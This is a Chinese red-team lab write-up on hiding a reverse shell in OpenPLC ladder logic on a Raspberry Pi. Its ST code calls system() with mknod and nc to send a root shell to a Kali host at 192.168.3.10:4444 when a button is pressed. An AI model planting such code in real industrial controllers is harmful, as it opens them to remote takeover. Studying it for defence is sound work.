用梯形图反弹一个PLC的shell

  • A+
所属分类:安全文章

用梯形图反弹一个PLC的shell

 

这次实验的目标是通过梯形图的编程,对外反弹一个PLC底层OS的shell连接外部Kali机器(也可以是VPS上Kali),而这次采用外部面包板上按钮来做触发。这次PLC仍然采用树莓派上运行OpenPLC来制作。

 

1、建立实验环境

这次已经准备好以下几项设备:

树莓派(硬件PLC 运行OpenPLC Runtime),IP:192.168.3.14

Window7虚拟机(运行OpenPLC编辑环境), IP:192.168.3.3

Kali攻击机(渗透测试),IP:192.168.3.10

外围电路:面包板,LED灯,按钮和电线

 

2、编写一个梯形图和封装一个功能块

首先,我们打开OpenPLC编辑器,新建一个项目后,添加一个自定义功能块:

用梯形图反弹一个PLC的shell

输入一个功能块的名字,这里为了明显,名字选择rsh_exec,同时编程语言选择ST(结构化语言“类似于Pascal”)

用梯形图反弹一个PLC的shell

定义了功能块的输入和输出,同时写入一段反弹shell的ST的程序段

用梯形图反弹一个PLC的shell

在ST编辑环境中输入以下这段程序:

IF (exe = TRUE) THEN

{system(“mknod /tmp/pipe p”);}

{system(“/bin/sh 0</tmp/pipe | nc 192.168.3.10 4444 1>/tmp/pipe”);}

done := TRUE;

return;

END_IF;

done := FALSE;

return;

 

3、在用户逻辑中调用这个功能块:

用梯形图反弹一个PLC的shell

测试后,运行树莓派上OpenPLC的这段成程序,按下按钮后会反弹一个树莓派 Pi OS的shell给外部Kali机器,同时会显示ID和hostname,并且是root权限。

用梯形图反弹一个PLC的shell

注释:不是全部PLC都支持这种OS层的shell反弹,但是可以通过梯形图的组态,制作成基于所有PLC的自定义的功能码的shell反弹程序,如果有工控用户shell反弹防护技术和方法感兴趣可以联系工业安全红队IRTeam。


本文始发于微信公众号(IRT工业安全红队):用梯形图反弹一个PLC的shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: